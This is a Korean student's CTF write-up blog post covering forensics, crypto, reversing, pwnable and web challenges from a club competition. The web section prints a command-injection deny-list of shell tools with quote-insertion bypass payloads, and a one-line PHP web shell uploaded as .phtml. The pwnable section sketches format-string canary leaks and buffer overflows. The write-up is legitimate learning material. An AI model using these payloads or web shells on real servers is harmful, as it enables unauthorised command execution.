안 쓰던 블로그

SWING 내부ctf대회 writeup 본문

CTF/Write up

SWING 내부ctf대회 writeup

proqk 2020. 8. 25. 20:52
반응형

<프로그래밍>

타일링타일링1

2*596을 1×2, 2×1 타일로 채우는 경우의 수를 10007 로 나눈 나머지를 출력하라

백준 DP 대표 문제 타일 채우기에서 값만 바뀐 문제다(https://www.acmicpc.net/problem/11726)

#include <stdio.h>
#include <algorithm>
using namespace std;
int n;
long long dp[1005] = { 1,1 };

int main() {
	n=596;
	for (int i = 2; i <= n; i++) {
		dp[i] = (dp[i - 2] + dp[i - 1]) % 10007;
	}
	printf("%d", dp[n]);
}

CalCulateit

접속하면 계산식을 주고 답을 쓰라고 한다

근데 계산식이 2진수 16진수 10진수와 ^ + *의 콜라보인데다가

정답 입력에 시간 제한도 있어서 절대 직접 쓸 수 없다

파이썬으로 자동으로 돌린다

from pwn import *
p = remote("mc.mandu-mandu.shop", 40000)
for i in range(1,21):
    p.recvuntil('Task Number')

    p.recvline() #0\n
    p.recvline() #\n
    t=p.recvline()
    res=eval(t)
    print(res)
    p.recvuntil(":")
    p.sendline(str(res))
p.interactive()

recvline으로 수식을 문자열로 받아서 eval로 계산한다

계산한 값을 string으로 변환하여 line에 출력한다

for문에 넣고 20번 돌려준다

몇 번 돌려야 하는지는 숫자 적당히 찍어보면 금방 나왔음


<포렌식>

OurImportantMemories

문제: 실수로 중요한 사진을 지워서 복구해 줄 수 있어?

 

압축파일을 푸면 디스크 이미지가 두 개 있는데, 하나는 깨져 있어서 다른 문제에서 쓸 것 같고 안 깨진 .001 파일을 FTK imager에 불러와 준다

 

사진을 지웠다고 할 때 가장 먼저 생각할 수 있는 건 바로 휴지통

휴지통은 Recycle.Bin 이름의 폴더다

ㅋㅋㅋㅋ

 

이 문제를 풀기 시작했을 때는 이미 Thumbnail 힌트가 있었지만 문제 출제한 사람이 친절하게 힌트를 숨겨 놓았더라

 

어쨌든 사진 복구하는 두 번째 방법이 바로 Thumbnail인데, 파일 탐색 시 보는 미리보기들이 다 썸네일이다

썸네일은 원본을 엄청나게 축소해서 용량도 적고 캐시를 보여주므로 성능 향상에도 도움을 준다

무엇보다 한 번 저장된 썸네일은 원본 파일이 삭제되더라도 삭제되지 않기 때문에 썸네일을 지우지 않았다면 원본의 흔적을 찾을 수 있다

 

썸네일의 저장 경로는 %사용자이름%\AppData\Local\Microsoft\Windows\Explorer

전부 export해 준다

 

https://thumbcacheviewer.github.io/

 

Thumbcache Viewer - Extract thumbnail images from the thumbcache_*.db and iconcache_*.db database files.

About Thumbcache Viewer allows you to extract thumbnail images from the thumbcache_*.db and iconcache_*.db database files found on Windows Vista, Windows 7, Windows 8, Windows 8.1, and Windows 10. The program comes in two flavors: a graphical user interfac

thumbcacheviewer.github.io

thumbache viewer로 썸네일 캐시를 분석한다

 

플래그 확인

 

썸네일 관련 정보 https://kali-km.tistory.com/entry/Thumbnail-Forensics?category=522239


FS_BreakUp

문제: 로컬디스트D에 문제가 있는 것 같아. 안에 중요한 파일이 있는 것 같은데...

깨진 .001 파일을 하나 받는다 HxD로 가져오는데 '디스크 이미지 열기'로 열어 줘야 하고 1섹터 크기는 512로 해 준다

 

디스크 복구 문제로 FAT32 파일시스템에 MBR보고 파티션 시작 섹터 찾아서 복구 부분 계산해서 복붙하는 식의 문제인 줄 알았는데.. 까보니까 NTFS구조였다

 

NTFS는 VBR, MFT, Data Area로 나뉘어지고. MBR 다음 단계로 부팅되면서 파티션의 운영체제를 부팅하는 역할을 한다

그래서 VBR은 무조건 첫 섹터로 위치가 고정된다

 

VBR의 시작은 EB 52 90 부트섹터, 그 뒤에 OEM ID, BIOS 파라미터 블럭, ... 쭉 가서 마지막 55 AA 시그니쳐까지 구성되는데 위에 사진에서는 OEM ID가 제대로 안 들어가서 디스크가 제대로 안 보였던 것이다

 

정상적인 OEM ID로 수정한다

 

설마 이게 끝인가 했는데 진짜 여기까지 하고 FTK imager에 가져와서 넣기만 하면 됐다

그러면 아주 중요한 파일이 나오고 base64 디코딩 하면 완료

 

 

참고할 만한 관련 글

NTFS https://weekhack.tistory.com/52

MBR https://croas.tistory.com/?page=49

MBR 파티션 복구 https://medium.com/funny-forensic/%ED%8C%8C%ED%8B%B0%EC%85%98-%EB%B3%B5%EA%B5%AC%ED%95%98%EA%B8%B0-fat32-ntfs-c7f102ffb04f


Misunderstanding

문제: 동생이 내 컴퓨터로 자꾸 이상한 사이트를 들어가는 것 같아! 너가 알아봐줘

위에서 썼던 .001파일을 사용한다

웹 브라우저 히스토리, 즉 인터넷 사용기록을 찾는 문제였다

사용기록이 저장되는 위치는 다음과 같다

 

IE: %사용자이름%\Appdata\Local\Microsoft\Windows\History\History.IE5\Index.dat

IE 버전 10이상: %사용자이름%\Appdata\Local\Microsoft\Windows\WebCache\WebCacheV(01 or 24).dat

크롬: %사용자이름%\Appdata\Local\Google\Chrome\User Data\Default\History

파이어폭스: %UserProfile%\Appdata\Roaming\Mozilla\Firefox\Profiles\<Random>.default\places.sqlite

 

이 문제에서는 IE 크롬 파폭 폴더가 다 있었지만 파일은 크롬과 IE만, 파폭은 폴더만 있었다

위에는 파일 구조

 

맨 처음에는 IE폴더에서 index.dat을 뽑았다

근데 이 IE때문에 삽질 좀 했다.. 일단 이 파일을 파싱 해 주었다

IE10버전부터는 IE10Analyzer로 파싱할 수 있지만 index.dat 파일이 있다면 옛날 버전이라 툴을 써 줘야 한다

나는 이거 썼다 https://www.systenance.com/indexdat.php

 

index.dat을 불러오면 이렇게 목록이 나온다

링크 딱 보면 알겠지만 하는 게 네이버 서핑하고 페북가고 그게 전부 맞음

고양이 사진 검색하고 다운받고 있는데 진짜 여기 정답이 있다고?? 이러면서 한참 뒤진 것 같다

 

저 IE기록은 사실 페이크였고 정답은 크롬 파일에 있었다

%사용자이름%\Appdata\Local\Google\Chrome\User Data\Default\History

IE파일을 먼저 찾아버려서 크롬 쪽은 무심코 지나쳤던 게 문제였다

History받아주고 DB Browser for SQLite 로 열어 준다

 

명곡들 사이로 전혀 수상하지 않은 url이 보인다

들어가주면 정답

참고할 만한 글: https://h4nu.tistory.com/14


What_did_you_do_yesterday

문제: 지켜보고 있다

 

솔직히 네트워크 포렌식이 제일 재밌는데 네트워크.. 비스무리한 건 이거 한 문제밖에 안 나와서 좀 슬펏다

어쨌든 pcap파일을 줬으니 와이어샤크로 열어 준다

 

패킷을 쓱 보니까 TCP와 UDP가 보인다

TCP보이면 tcpstream과 파일 확인 국룰이죠

 

짱 재밌는 네트워크 문제고 pcap파일을 줬으니 와이어샤크로 열어 준다

어제 뭐 했는지 찾는 문제니까 http로 오간 파일을 확인할 수 있을 것 같아서 먼저 파일 확인해 주었다

 

일단 파일 확인

바로 나온다ㅋㅋ 전부 다운로드 받아주었다

 

music.zip에는 비밀번호가 걸려 있었다

다른 파일 확인

 

php파일에 어썸한 pw가 있어서 입력해줬다

 

 

하루와.. 플래그를 확인해 준다

 


Who_is_real

문제: 누가 진짜인가

똑같이 생긴 케르베로스 셋+셋 중에 다른 애들 찾는 문제

포렌식 문제 출제자가 누군지도 모르지만 취향은 좀 알 것 같음ㅋㅋ

 

 

cmp로 파일을 비교해 줄 것이다 우분투로 파일을 가져온다

cmp -l --print-bytes cerberus.bmp helltaker.bmp

-l로 틀린 숫자에 대한 8진수 아스키 출력, 바이트 출력 옵션으로 비교

 

비슷한 문제 풀이가 있길래: https://whitesnake1004.tistory.com/m/219?category=790648


GroupProject_BadEnding

문제: 조별과제 조장이 보내 준 최종 ppt 자료가 이상하다. 숨겨진 메세지가 있는 것 같다

pptx는 사실 여러 이미지와 폰트 등등이 묶인 파일이라 압축을 풀 수가 있다

압축을 풀고 잘 찾아주면 되는 문제였다


What_is_your_home_password

문제:

문제를 이렇게 주고 암호가 걸린 zip파일 하나를 줬다

문제에서 저렇게 열심히 설명했으니까 파일 조작해서 암호가 필요 없게 하거나 무작정 대입 공격하는 것이 아닌 문제다

비밀번호 맨 뒷자리가 e i l o u v 중에 하나고 생일이라 최소 6자리니까 딕셔너리 대입 공격하면 되었다

딕셔너리 공격에 쓰는 .dic파일을 미리 만들어 주어야 했는데 crunch 명령어로 가능하다

 

$crunch 7 7 0123456789 -t @@@@@@e -o pw1.txt 
$crunch 7 7 0123456789 -t @@@@@@i -o pw2.txt 
$crunch 7 7 0123456789 -t @@@@@@l -o pw3.txt 
$crunch 7 7 0123456789 -t @@@@@@o -o pw4.txt 
$crunch 7 7 0123456789 -t @@@@@@u -o pw5.txt 
$crunch 7 7 0123456789 -t @@@@@@v -o pw6.txt

각 알파벳으로 끝나는 6자리 경우의 수 전체를 만들어서 하나의 .dic파일로 묶는다

advanced archive password recovery 툴에서 만든 .dic파일로 압축파일에 딕셔너리 공격을 한다

 

비밀번호는 010829i


baby_stego

문제: zip파일에서 플래그를 찾으시오

 

깨진 zip파일을 준다

HxD에 넣어서 왜 깨졌는지 확인하면 zip헤더가 이상한 걸 확인할 수 있으므로 맞춰서 압축 풀어준다

근데 압축 해제해서 나온 flag.png도 깨져 있었다

png도 HxD에서 복구해주면 아래 이미지가 나온다

사실 여기서 출제자한테 속은 줄 알고 zip파일과 png를 다시 뒤지면서 다른 파일이 숨겨져 있나 다 확인해봤는데..

답은 너무 간단하게 fake이미지 노출 올려주면 나왔다

플래그: SWING{king_god_goldory_mmm}


ListenSongBarely

 

bmp파일을 하나 준다

제목에서도 알 수 있듯이 LSB 문제였다

 

LSB니까 zsteg 툴을 써서 확인해 주었다 https://github.com/zed-0xff/zsteg

옵션을 주지 않았는데 플래그가 바로 나왔다

만약에 이렇게 확인했을 때 플래그가 전부 나오지 않았다면 아래처럼 옵션을 더 줘서 확인할 수 있다

 

플래그: SWING{listen_listen_icant_listen}

비슷한 문제가 있더라 https://whitesnake1004.tistory.com/91


<크립토>

Crypto EZ

문제: ZDPUN{Jhlzhy_PZ_clyf_LHZF}

 

시저암호문제였다 https://quipqiup.com/

SWING{Caesar_IS_very_EASY}

 


MS Code

문제: - .... .---- ... ..--.- .---- ... ..--.- -- ----- .-. ... ...-- ..--.- -.-. ----- -.. ...--

 

모스 부호 문제였다 https://jinh.kr/morse/


EASY_RSA

문제: c d ?? POW!

 

c = 0x53c49021d16b9f3e47ab5abed26f22a59d87147b25157294544bdc365abb3e6eed4f53bdbefc766019dec93d09823e0849ae5d7915aa8fe5eebc6dd37d420751c37d5eb3a1c8b6c4543d88957ee008f6121cce1cd5bd3a371586781a216b72741e26ea033d1c55cb9f6402f3d16fa91ffef43784b54bf9c8f12fca39e31783d43fd88457fd7da7ac51a3ad7b1000e5f5534dc66f98bd008dc04b2b549131dad29c532464882d7157e8407381ebbc490ac38ac6e4df0266a50f690b23790e796019fa10343be9d79616c22dc674ffc39c5daf1a8caccb27080b73e45fd86ded73bf26628c43faca6b4de176b0ad8ce04024285c2b26685eece2bf2bbe8665adee

d = 4355499397862080543745094800699909019348618119444184296921359339460287723864840824031973339636203960770383886265418415436789981512174362451775209577031105571663771210002143877907343431073213838261541932640941077617185906441930837382251458136166798255429461812360960552390423786623102670484865104608829256352582810410547479663414178175175752064125322089912200596268468622078888979525232802842112574395169146467129556254417806603104717202169566496359464566616044001698144585875478136614373175749017980131286169262399469506537684881687036284372899776801802046887189352096599344536190397543903675442534574331682794882273

n = 12877085940257462561258730453082056092436973234718884209290166780809711578424237519041071717405959262733281398212510790475973520023610375423015830290516874897375764595565954045491657258187630952232899067960903839211328224409474502166310904130913676061987668101082702743808869206654859914087003399681907473883894069744074358439422705072072995065705638254775569556385098785559253950303416877258662180934536536524650025879905141333406070836222488991609783115417797052141119897134304170396330550554220451206242574177395977744661864313185676874590893841647816095485259254827222180278249532824292002360420926227016785111189

 

c d n값을 주었다

 

RSA가 원래는 p, q값을 가지고 n을 계산하고, d값을 계산하는 과정을 거치는데 c d n값을 문제에서 다 주었다

이러면 단지 c의 d승을 n으로 나눈 나머지(pow)로 나온 hex값을 디코딩 해 주면 된다(https://defenit.kr/2019/09/24/Crypto/%E3%84%B4%20Research/RSA_for_CTF/ )

n=12877085940257462561258730453082056092436973234718884209290166780809711578424237519041071717405959262733281398212510790475973520023610375423015830290516874897375764595565954045491657258187630952232899067960903839211328224409474502166310904130913676061987668101082702743808869206654859914087003399681907473883894069744074358439422705072072995065705638254775569556385098785559253950303416877258662180934536536524650025879905141333406070836222488991609783115417797052141119897134304170396330550554220451206242574177395977744661864313185676874590893841647816095485259254827222180278249532824292002360420926227016785111189
d=4355499397862080543745094800699909019348618119444184296921359339460287723864840824031973339636203960770383886265418415436789981512174362451775209577031105571663771210002143877907343431073213838261541932640941077617185906441930837382251458136166798255429461812360960552390423786623102670484865104608829256352582810410547479663414178175175752064125322089912200596268468622078888979525232802842112574395169146467129556254417806603104717202169566496359464566616044001698144585875478136614373175749017980131286169262399469506537684881687036284372899776801802046887189352096599344536190397543903675442534574331682794882273
c=0x53c49021d16b9f3e47ab5abed26f22a59d87147b25157294544bdc365abb3e6eed4f53bdbefc766019dec93d09823e0849ae5d7915aa8fe5eebc6dd37d420751c37d5eb3a1c8b6c4543d88957ee008f6121cce1cd5bd3a371586781a216b72741e26ea033d1c55cb9f6402f3d16fa91ffef43784b54bf9c8f12fca39e31783d43fd88457fd7da7ac51a3ad7b1000e5f5534dc66f98bd008dc04b2b549131dad29c532464882d7157e8407381ebbc490ac38ac6e4df0266a50f690b23790e796019fa10343be9d79616c22dc674ffc39c5daf1a8caccb27080b73e45fd86ded73bf26628c43faca6b4de176b0ad8ce04024285c2b26685eece2bf2bbe8665adee

print ('%x' % pow(c, d, n)).decode("hex")

BabyAS(L)R

p = 153751157922590942606662190131020954184835723147260816729495457366511395141803989706184439035578201898691862488283002539186280495278760568695515424372668457059656835802512698107130314559022180229026130136739605235651450974469356712238300577457592016404767299571014875043023606778932960491640912789458459049103

q = 144346750625270271882672558239287754597584257792607649330946328323939986799261282755917579685293579289019554027644382094577972692021974813607417979234500518138018833346833372187091314195375146787353930379740246920037648741149515968321578056841901126554694189150604152707635264816366411655697662309681068016389

c = 0x11e3228aaae1c1f1e6b99455212c6eb07064794bab44d6ed3f695a3cfb94aa9332c27a6f84f41be7f3aa5d525ac8af53307c1502b0a431943891e28af75d27eed02cdd6cb98a71f045bbab8b969f1f21ef8c7fdcc6d5954de4d956debf89bdc1bf5bfcbcc19812f7208ed6a61754b10a10216027e58d40f89827b2c759949f579b0f2bbb758fca968c4ba05aa379e05435a687fb9f664286295b0deecfa140bbb7d0593d42bd517188f995bba6d1459d6897b1f79f9eb95d494a07e684f3c645fb9aa1792e585026fff7568e95baa6903e529c4150c65477ed606660878d06de30ef26c962a81d008c7b78dcaa76341e0ed6d5340638dd61b7fbb9dafb086632

이것도 RSA 문제였다

값을 구하기 위해서는 n과 d값이 필요하다

n은 p*q로 구할 수 있다

d는 (p-1) * (q-1)로 phi를 구하고 e = 65537로 두고 invert함수로 e와 phi의 곱셈의 역원을 구해서 d를 구할 수 있다

그리고 n과 d c값을 가지고 아까 문제처럼 pow해 주면 된다

 

from gmpy2 import *

p = 153751157922590942606662190131020954184835723147260816729495457366511395141803989706184439035578201898691862488283002539186280495278760568695515424372668457059656835802512698107130314559022180229026130136739605235651450974469356712238300577457592016404767299571014875043023606778932960491640912789458459049103
q = 144346750625270271882672558239287754597584257792607649330946328323939986799261282755917579685293579289019554027644382094577972692021974813607417979234500518138018833346833372187091314195375146787353930379740246920037648741149515968321578056841901126554694189150604152707635264816366411655697662309681068016389
c = 0x11e3228aaae1c1f1e6b99455212c6eb07064794bab44d6ed3f695a3cfb94aa9332c27a6f84f41be7f3aa5d525ac8af53307c1502b0a431943891e28af75d27eed02cdd6cb98a71f045bbab8b969f1f21ef8c7fdcc6d5954de4d956debf89bdc1bf5bfcbcc19812f7208ed6a61754b10a10216027e58d40f89827b2c759949f579b0f2bbb758fca968c4ba05aa379e05435a687fb9f664286295b0deecfa140bbb7d0593d42bd517188f995bba6d1459d6897b1f79f9eb95d494a07e684f3c645fb9aa1792e585026fff7568e95baa6903e529c4150c65477ed606660878d06de30ef26c962a81d008c7b78dcaa76341e0ed6d5340638dd61b7fbb9dafb086632

n=p*q
phi = (p-1) * (q-1)
e = 65537
d = invert(e, phi) # gmpy2

print ('%x' % pow(c, d, n)).decode("hex")

 

플래그: SWING{gongbu_hazi_malgo_nol_a}


리버싱

King Of Clicker

문제: 클릭의 왕이 될 자... 마우스를 준비하라!

 

문제에서 준 exe파일을 열어 보면 클릭 게임이 나온다

클릭을 많이 하면 뭐가 나오는 것 같은데.. 직접 할 수는 없으니까 치트엔진에 넣어서 값을 바꿔버리겠다

먼저 화면에 있는 값을 찾아야 한다

 

1,2같은 값은 많을테니까 적당한 9값을 찾고 스캔한다

게임에서 버튼 눌러서 10을 만들고 치트엔진에서 10값을 적고 다음 스캔을 한다

그러면 버튼 값에 해당하는 변수를 찾을 수 있다

더블클릭해서 주소 등록해 주고 value값을 높게 바꾼다

다시 게임에서 버튼 한 번 더 누르면 플래그를 만날 수 있다


XOR POWER

문제: 주어진 소스 코드 이용하여 플래그를 찾아라

b = [4100, 4300, 3600, 3950, 3500, 6100, 4450, 3900, 4150, 4700, 4050, 3900, 4300, 3400, 4150, 1600, 1600, 1600, 1600, 1600, 1600, 1600, 1600, 1600, 1600, 1600, 1600, 1600, 1600, 1600, 1600, 1600, 1600, 1600, 1600, 1600, 1600, 1600, 1600, 1600, 1600, 1600, 1600, 1600, 1600, 1600, 1600, 1600, 1600, 1600, 1600, 1600, 1600, 1600, 6200]

flag = input()

isCorrect = True

if len(flag) == len(b) :
    for i in range(len(b)) :
        if ((ord(flag[i]) ^ 1) * 50) != b[i] :
            isCorrect = False
    if isCorrect == True :
        print("Flag : {}".format(flag))
    else :
        print("Try Again....")
else :
    print("Try Again....")

 

len(b)는 55

입력받은 flag배열의 아스키 코드값을 ^1하고 *50한 값이 b[i]랑 같아야 flag가 나온다

사실 이거 되게.. 야매로 풀었는데 어떻게 했냐면

int(b[i]/50)가 ord(flag[i])^1 과 동일하니까

for i in range(len(a)) :
    a[i] = int(b[i]/50)
aa = "".join([str(_) for _ in a])

이렇게 해서 문자열로 만들어주고

if (a[i] * 50) != b[i] :
	isCorrect = False
print(aa)

맞는지 확인해주고 그냥 출력해버렸다

그러면 8286727970122897883948178866883323232323232323232323232323232323232323232323232323232323232323232323232323232124 이렇게 나오는데

 

82S 86W 72I 79N 70G 122{ 89X 78O 83R 94_ 81P 78O 86W 68E 83R 32 32 32 32 32 32 32 32 32 /32 32 32 32 32 32 32 32 32 32 /32 32 32 32 32 32 32 32 32 32 /32 32 32 32 32 32 32 32 32 32 124
SWING{XOR_POWER!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!}

 

각 숫자를 임의로 끊어서 머릿속에서 ^1연산 한 뒤에 아스키코드표를 보고 직접 매칭했음ㅋㅋ

아 이렇게 풀면 안 되는데ㅋㅋ 다른 문제 flag가 전부 SWING{평범한 문자열}형태인 거 보고 이것도 그럴 거 같아서 했는데 되더라

 


<포너블>

Excute ME!!

문제: ELF FILE Excute me!!

 

elf파일을 실행하면 되었다

 


WTR

문제: What The RET?

힌트: ROP(Return Oriented Programming)

 

checksec을 해 보면 Partial RELRO니까 Got Overwrite가 가능했고

NX는 스택의 실행권한을 없애는 메모리 보호기법이라 스택에 쉘코드가 있더라도 실행 시킬 수가 없게 되는데, 이게 걸려있으니까 Stack이나 Heap 영역에 실행권한이 없는 상태이다

 

Full Relro가 아닌 Partial RELRO+NX있는 이런 형식이 전형적인 ROP문제라고 하더라

 

문제를 실행시켜 보면 Helloworld를 출력하고 입력값을 하나 받는다

입력 값을 공략하게 되는 문제라고 생각할 수 있다

 

바이너리를 확인해보면 64비트다

힌트랑 조합하면 64비트 ROP를 하는 문제였다

 

 

IDA로 불러와보면 바로 메인함수가 뜬다

이 중에서 gets 함수는 버퍼오버플로우를 일으키는 취약한 함수다

버퍼보다 큰 값을 gets에다가 넣으면  될 것 같다

 

ret가젯 위치를 찾는다

lea rax,[rbp-0x40] 을 보니까 rbp로부터 0x40만큼 떨어진 공간에 입력 받았다

 

puts 호출할 때 GOT쪽으로 넘겼다가 main와서 one가젯을 넣어서 풀면 되었다

 

플래그: SWING{SwingKing_Hayoung_means_God_Glory}

 


Buffer_Format

문제: Format? Buffer?

 

먼저 checksec으로 바이너리를 확인해 본다

스택 카나리가 있는 걸 확인하고 아이다에서 함수를 찾는다

 

main함수 이름이 main이라 바로 보인다

두 번째 read함수가 버퍼오버플로우가 일으키고 있고

printf에서도 %d나 %s를 안 주고 인자 그대로 출력해서 포멧 스트링 버그가 일어난다

 

찾아보면 win이라는 함수도 있는데 여기서는 빈쉘을 바로 시스템으로 보내버린다

이 말은 메모리 leak을 할 필요가 없다는 의미이다

 

조합해 보면, exploit 흐름은

1. format string 버그로 canary를 leak

2. BOF로 win함수 실행

하면 된다

 

 

%15%p부분에서 포멧스트링 버그를 일으켜서

canary leack하고 그대로 canary입력하고 win함수를 실행 시킨다

 

버퍼가 따진 걸 볼 수 있다

cat flag로 플래그를 확인한다

플래그: SWING{Canary_FSB_BOFB}

 

사실 포너블 두 문제는 대회 끝나고 설명 듣고 알게 된 거라 직접 푼 건 아니다.. 포너블은 좀 공부해 봐야겠다


<미스크>

BASE_ENCODEING

문제: U1dJTkd7QkFTRTY0X2lzX0VafQ==

 

base64 디코딩하는 문제


M1sCheck

문제:

$b = "back";

$c = "copy";

$flag=" SWING{enjoy_b3c1ust_fb7c1r_b3c1b7c1b14c1}";

Do u know data compress algorithm?

 

플래그를 직접 계산해 주면 되었다

b는 back, c는 copy로 b3c1 이런 형식이 한 묶음이다

b3c1은 _제외하고 3칸 앞으로 가서 1자리 복사한다는 의미

enjoy_b3c1ust에서 b3은 j고 c1으로 j복사 이런 식이다

 

그렇게 하나씩 바꾸면 SWING{enjoy_just_for_fun}

 


BEN !! HELP !!

문제: b'du4:_Betu3:teru6:_than_u7:base64}u4:odexu3:_I$u6:swing{u4:Bence'

힌트는 SON Schema 인코딩

 

bittorrent에서 .torrent 파일 등등을 인코딩하는 Bencoding이 있는데 그거의 확장판이 Becodex라는 게 있더라

문제 플래그는 그거로 인코딩 되었고, 디코딩하는 문제였다

 

파이썬 https://pypi.org/project/bencodex/

자바스크립트 https://developer.aliyun.com/mirror/npm/package/bencodex

 

const { encode, decode } = require('bencodex');
console.log(decode(Buffer.from("du4:_Betu3:teru6:_than_u7:base64}u4:odexu3:_I$u6:swing{u4:Bence'")));

코드를 짜서 플래그를 넣으면 이렇게 디코딩된다

다시 짜맞추면 플래그가 나왔다

 

플래그: swing{Bencodex_I$_Better_than_base64}


<웹>

warming up

<?php
    error_reporting(0);

    if( isset($_GET['cmd']) ){

        $filtering = '/flag|\*|arch|awk|basename|bash|cat|chgrp|chmod|chown|cp|csh|cut|date|dd|df|echo|ed|egrep|env|ex|false|fgrep|find|gawk|grep|gtar|gunzip|gzip|hostname|kill|link|ln|logger|login|ls|mail|mailx|mkdir|mknod|mktemp|more|mv|nano|nice|ping|ps|pwd|raw|readlink|red|rm|rmdir|rnano|rvi|rview|sed|sh|sleep|sort|stty|sync|tar|taskset|tcsh|touch|true|uname|unlink|vi|view|zcat|r|m/i';

        if(preg_match($filtering, $_GET['cmd'])){
            die('nonono');
        }

        system($_GET['cmd']);

    }

    echo "<hr>";
    show_source(__FILE__);

cmd에 값을 받아서 실행시키는 코드

근데 필터링이 되어 있어서 뭔가를 하지 못 하게 되어 있다

php에서 필터링을 우회할 수 있는 방법이 있는데, 명령어 사이에 "" 공백이나 $@같은 특수문자를 넣는 식이다

l""s나 l$@s 이런 식으로 넣으면 된다

 

http://ctf.no-named.kr/?cmd=l""s
http://ctf.no-named.kr/?cmd=ca%22%22t%20fl%22%22ag.txt

 

플래그: SWING{so_ez_cmd_injection_hahaha}

 


Sh0w me y0ur fav0r1t3

파일 업로드를 할 수 있는 창이 나오고, php파일을 넣어보면 안 된다고 한다

파일 업로드 취약점인 웹쉘로 풀 수 있었다

 

일단 간단한 php파일을 준비한다

<?php
	system( $_GET[cmd] );
	
?>

그리고 이걸 업로드 해야 하는데 php로 넣으면 안 되니까 다른 확장자로 넣어야 한다

php스크립트를 포함하고 있지만 HTML 페이지인 확장자 .phtml로 넣어주면 잘 들어갔다

 

잘 들어갔으면 이제 원하는 명령어를 보낸다

여기 있는 파일은 아마 다른 사람이 이 문제에다가 업로드 시도한 파일을 이름인 것 같다

왜냐면 내가 넣어본 파일 이름도 있기 때문에ㅋㅋ

 

폴더를 하나 뒤로 가 주고 ls하면 이름이 이상하게 긴 php파일이 있다

 

실행시켜주면 주석으로 플래그가 있다

플래그: SWING{너 인성 문제 있어?}

 

 


대회 중에 푼 건 16개, 끝나고 푼 건 9개로 총 25문제를 풀고 writeup했다

ctf 참가는 이번이 두 번째인데 게임하는 것 같아서 재밌었다 제대로 해 보고 싶더라

 

대회 운영 및 문제 출제: 해킹팀 N0Named http://blog.no-named.kr//

반응형

'CTF > Write up' 카테고리의 다른 글

교내 알고리즘 대회 & 교내 ctf 대회 참가 후기  (1) 2019.11.29
xcz.kr 14번 문제풀이 (암호)  (0) 2019.11.28
xcz.kr 2번/3번 문제풀이  (0) 2019.11.28
xcz.kr 1번 문제풀이  (0) 2019.11.26
xcz.kr 28번 푸는 중  (0) 2019.11.26
Comments